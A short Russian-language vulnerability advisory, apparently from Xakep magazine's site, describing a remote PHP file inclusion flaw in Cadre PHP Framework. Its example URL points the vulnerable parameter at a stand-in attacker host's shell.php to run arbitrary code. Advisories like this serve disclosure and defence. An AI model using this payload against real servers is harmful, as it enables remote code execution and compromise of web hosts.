PHP-инклюдинг в Cadre PHP Framework

Рекомендуем почитать:

Хакер #309. Самооборона по-хакерски

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: Cadre PHP Framework

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.
Уязвимость существует из-за недостаточной обработки входных данных в параметре «GLOBALS[config][framework_path]» сценарием class.Quick_Config_Browser.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Пример:

http://target/cadre/fw/class.Quick_Config_Browser.php?GLOBALS[config][framework_path]=http://attacker/shell.php?